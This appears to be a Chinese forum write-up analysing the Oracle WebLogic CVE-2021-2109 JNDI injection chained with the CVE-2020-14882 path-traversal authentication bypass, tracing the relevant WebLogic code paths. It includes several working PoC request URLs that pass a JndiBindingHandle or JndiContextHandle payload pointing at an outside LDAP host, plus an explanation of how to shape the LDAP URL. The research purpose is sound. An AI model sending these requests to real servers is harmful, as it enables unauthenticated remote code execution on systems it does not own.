CVE-2021-2109 JNDI注入漏洞

管理员权限的通过JNDI注入导致的RCE。可结合CVE-2020-14882这个认证绕过漏洞实现未授权RCE。
绕过了Oracle对CVE-2020-14883这个漏洞的补丁中对handle参数的校验,因为handle的子类依然可以传入JNDI的payload。只是需要其他方式触发这个JNDI注入。

这个CVE应该是多个漏洞的组合,至少有以下两点:

1、官方对CVE-2020-14883的补丁是在com\bea\console\handles\HandleFactory#getHandle的方法中对传入的类的类型进行检查,是否为handle的子类。这里通过handle实现类`com.bea.console.handles.HandleImpl`的子类`com.bea.console.handles.JndiBindingHandle`的接收String的构造方法将jndi的url作为payload传入;单独这一点并不能实现RCE(之前虽然知道补丁的修复方式但是觉得单独这个无法RCE就没细看,谁知道可以结合其他点来实现RCE)。
2、在com.bea.console.actions.jndi.JNDIBindingAction#execute方法中,构造了JndiBindingHandle对象,并通过获取jndi的payload,并进行了特定的拼接(这里根据其拼接方式进行特殊构造),调用javax.naming.Context#lookup实现了jndi注入导致的RCE。

CVE-2020-14882的绕过鉴权访问受限资源

路径穿越构造一个满足unrestricted资源的url

在266行将url进行了一次解码,随后269行中又被赋值到this.normalizedURI中。

E:\Oracle\Middleware14.1.1.0\wlserver\modules\com.oracle.weblogic.servlet.jar!\weblogic\servlet\internal\AbstractHttpConnectionHandler#dispatch中

在E:\Oracle\Middleware14.1.1.0\oracle_common\modules\com.bea.core.utils.jar!\weblogic\utils\http\AbstractHttpRequestParser#decodeURI中进行了一次解码。

拿着解码了一次的url,根据这个map判断需要如何路由:

具体看看为何这个路径穿越的payload符合/css/*的路由规则。
E:\Oracle\Middleware14.1.1.0\wlserver\modules\com.oracle.weblogic.servlet.jar!\weblogic\servlet\utils\StandardURLMapping#get

resolveVersionManagerForURI中,判断这个url是符合/console/规则的,是属于consoleapp的。

如何判断这个路径穿越的url属于/css/*,以规避需要认证的问题

看这里:
E:\Oracle\Middleware14.1.1.0\wlserver\modules\com.oracle.weblogic.servlet.jar!\weblogic\servlet\security\internal\WebAppSecurity#checkAccess

ResourceConstraint resourceConstraint = checkAllResources ? Holder.ALL_CONSTRAINT : this.getConstraint(request);

具体的是:

this.getConstraint(request)

关键是要:

ResourceConstraint resourceConstraint = checkAllResources ? Holder.ALL_CONSTRAINT : this.getConstraint(request);

这里拿到的resourceConstraint的id是无需认证即可访问的资源。

跟进E:\Oracle\Middleware14.1.1.0\wlserver\modules\com.oracle.weblogic.servlet.jar!\weblogic\servlet\security\internal\WebAppSecurityWLS#getConstraint(String relURI, String method)

(ResourceConstraint)consForAllMethods.get(relURI)

发现又是通过E:\Oracle\Middleware14.1.1.0\wlserver\modules\com.oracle.weblogic.servlet.jar!\weblogic\servlet\utils\StandardURLMapping这个类来进行判断的。

如何路径穿越到/console/console.portal

在getTree方法中,进行了第二次URL解码,还原出了攻击者意图访问的受限资源:
前后对比:

如何触发指定Action的execute方法

如果只这样请求:

/console/css/%25%32%65%25%32%65%25%32%66/consolejndi.portal?cqq_handle=com.bea.console.handles.JndiBindingHandle(%22ldap://127;0.0.1:1389/;AdminServer%22)

则只能触发com.bea.console.handles.JndiBindingHandle的接收String类型参数的构造器,但是并不能触发RCE,这一点是与CVE-2020-14883不同的地方(14883是直接在构造器中RCE)。
另外这两个参数_pageLabel=JNDIBindingPageGeneral&_nfpb=true是必需提供的,这是为了触发com.bea.console.actions.jndi.JNDIBindingAction#execute方法。

不懂netuix的路由逻辑,猜测这里是当_pageLabel=JNDIBindingPageGeneral时,执行jndibinding.portlet对应的action:JNDIBindingAction

总结

不管是登录Cookie访问,还是使用路径穿越的payload,原理都是让 weblogic.servlet.security.internal.WebAppSecurity#hasPermission 返回true。

看看如何让ResourceConstraint的id指向/css/*,让我们的payload隐藏起来,符合/css/*的规则。

关于JNDI注入payload的构造

看这张图:

想要进入JNDI注入的代码,需要serverMBean不为空,而不为空需要

domainMBean.lookupServer(serverName)

有值,跟进weblogic.management.configuration.DomainMBeanImpl#lookupServer

即传入的参数必须为AdminServer
(这个应该是可以配置的,但是默认情况下就是这个值)

看到JNDI注入的触发点,contenxt和bindName分别由getContext()和getBinding()方法得到,而跟进发现都调用了getComponent()方法。
跟进getComponent()方法,发现遍历serialized(也就是ObjectIdentifier)中的字符,然后累加到currentComponent中,每次碰到;这个字符, 就将currentComponent添加到list中,然后重置重新计算currentComponent。

最后将list转换成String数组,返回this.components

(%22ldap://127;0.0.1:1389/lnuvcv;AdminServer%22)

所以要保证JNDI的url是由两个;分割的,第0个和第1个之间通过一个.进行拼接之后是一个完整的正常的LDAP的url即可,比如这里的:

"ldap://127" + "." +  "0.0.1:1389/lnuvcv" = "ldap://127.0.0.1:1389/lnuvcv""

最后第2个是固定的AdminServer即可。

小插曲(关于poc的构造)

说明在这张图里。

1. 这里的handle参数的地方,可以是任意以`handle`字符串结尾的比如`111handle`都可以触发;
2. 括号里可以是任意的一个字符,不必是引号:`com.bea.console.handles.JndiBindingHandle(-ldap://weblogic3;hk58t1.dnslog.cn:1389/lnuvcv;AdminServer-)`

CVE-2020-14883 管理员权限下的任意代码执行

后来通过调试发现/console/__Streaming.portal这个path也可以触发,但是weblogic并没有写在配置文件里,而是:


提给Oracle说已经修复了。确实,到后面流程都是一样的。主要这个特殊的path并不能进行路径穿越,即不能结合CVE-2020-14882,而是需要带上登录的Cookie,可能只是会在绕过流量检测层面有点用吧?

PoC

/console/__Streaming.portal?file=/console.portal
/console/__Streaming.portal?file=/consolejndi.portal

后来发现原来@l1nk3r师傅也提到了:
CVE-2020-14882&CVE-2020-14883分析

另外一个gadget的poc(只能console.portal触发):(当时我是找到这个特殊的类了,但是还愁怎么触发呢,当时netuix的路由机制没弄清楚。后来看到@threedr3am师傅发了)

/console/css/%25%32%65%25%32%65%25%32%66/console.portal?_pageLabel=EJBTestHomePage&_nfpb=true&handle=com.bea.console.handles.JndiContextHandle(-ldap://192.168.85.1:1389/1;AdminServer--&returnTo=EJBTestHomePage

推测Action两种被执行的方式:

通过上面的触发点的实现,推测有两种方式:
1、
继承org.apache.struts.action.Action然后实现其execute方法;然后在<netuix:strutsContent 中指定action为该类名。

2、
对某方法进行注解org.apache.beehive.netui.pageflow.annotations.Jpf.Action,
然后在<netuix:pageflowContent中指定这个action为方法名。

参考

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖